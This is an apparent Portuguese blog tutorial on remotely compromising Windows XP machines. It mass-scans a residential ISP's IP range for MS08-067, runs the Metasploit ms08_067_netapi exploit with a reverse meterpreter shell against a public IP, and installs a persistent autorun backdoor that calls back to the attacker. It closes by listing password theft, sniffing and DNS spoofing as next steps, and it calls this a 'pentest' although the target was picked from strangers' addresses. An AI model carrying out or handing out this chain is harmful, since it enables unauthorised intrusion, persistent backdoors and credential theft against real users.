Páginas

Invasão Remota em Windows XP sp 2&3

Abro a shell do meu backtrack e digito:

root@bt:~# nmap -p 445 --script=smb-check-vulns 189.29.148.* --> -p pra porta especifica, a parte

do script é pra achar vulnerabilidades no serviço "smb" o asteristico no final do ip é pra passa em toda faixa de ip.

Aparece uma lista gigantesca de resultados de portas fechadas, não sabe avaliar, não vulneravel, possivelmente vulneravel e

vulneraveis. Aqui a saida de um vulneravel:

Nmap scan report for 189-29-151-59-nd.cpe.vivax.com.br (189.29.151.59)
Host is up (0.078s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb-check-vulns:
| MS08-067: VULNERABLE
| Conficker: Likely CLEAN
| regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)
| SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)
| MS06-025: CHECK DISABLED (remove 'safe=1' argument to run)
|_ MS07-029: CHECK DISABLED (remove 'safe=1' argument to run)


Então abro outra shell e dou o comando "msfconsole":

root@bt:~# msfconsole .


____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|


=[ metasploit v3.6.0-dev [core:3.6 api:1.0]
+ -- --=[ 640 exploits - 322 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
=[ svn r11458 updated 3 days ago (2010.12.31)

msf > search ms08-067 --> Busca por exploit que contenha no nome "ms08-067"[*] Searching loaded modules for pattern 'ms08-067'...

Exploits
========

Name Disclosure Date Rank Description
---- --------------- ---- -----------
windows/smb/ms08_067_netapi 2008-10-28 great Microsoft Server Service Relative Path Stack Corruption

msf > use windows/smb/ms08_067_netapi --> Utilizar o exploit ms08-067


msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reerse_tcp - Utiliza o payload do reverse

meterpreter
payload => windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set LPORT 4444 --> Ouvir na Porta 4444
LPORT => 4444

msf exploit(ms08_067_netapi) > set LHOST xxx.xxx.xxx.xxx --> Se conecta no no alvo (Meu Ip)
LHOST => xxx.xxx.xxx.xxx

msf exploit(ms08_067_netapi) > set RHOST 189.29.151.59 --> Computador Vulneravel
RHOST => 189.29.148.57

msf exploit(ms08_067_netapi) > set ReverseListenerBindAddress 192.168.xxx.xxx --> Endereço de rede da minha maquina atacante
ReverseListenerBindAddress => 192.168.xxx.xxx

msf exploit(ms08_067_netapi) > set target 0 --> Dedecção de Alvo Automatica
target => 0

msf exploit(ms08_067_netapi) > exploit --> Lança Exploit


[*] Started reverse handler on 192.168.xxx.xxxx:4444[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Portuguese - Brazilian[*] Selected Target: Windows XP SP2 Portuguese - Brazilian (NX)[*] Attempting to trigger the vulnerability...[*] Sending stage (749056 bytes) to 189.29.151.59[*] Meterpreter session 1 opened (192.168.xxx.xxx:4444 -> 189.29.151.59:1747) at Mon Jan 03 17:51: 27 -0200 2011


meterpreter > screenshot

saved to: /root/bFywwIDQ.jpeg




meterpreter > shell

Process 2168 created.
Microsoft Windows XP [versÆo 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>exit

meterpreter > run persistence -U -i 5 -p 4444 -r http://xn--meuendereodns-qgb.org


[*]Running Persistance Script[*]Resource file for cleanup created at /root/xxxxxx.rc[*]Creating Payload=windows/meterpreter/reverse_tcp LHOST=xxxx LPORT=4444[*]Persistent agent script is 609675 bytes long
[+]Persisten Script written to C:\WINDOWS\TEMP\xHAyoOFceV.vbs[*]Executing script C:\WINDOWS\TEMP\xHAyoOFceV.vbs
[+]Agent executed with PID 2712[*]Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run \gFNSUfyFe
[+]Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run \gFNSUfyFe

Explicações:

-i 5 a cada 5 segundos ele teta se conectar com o atacante
-p port porta de conexão
-r seuip Ip que ele tenta se conectar

Ae o resto o de sempre, sniffa, roubo de senhas, spoffe dns e apropiação de computadores na rede.


Fiz agora a pouco, um pentest na rede do meu colega juliano


Esta imagem foi redimensionada. Clique nesta barra para ver a imagem completa.
A imagem original é de tamanho 800x601.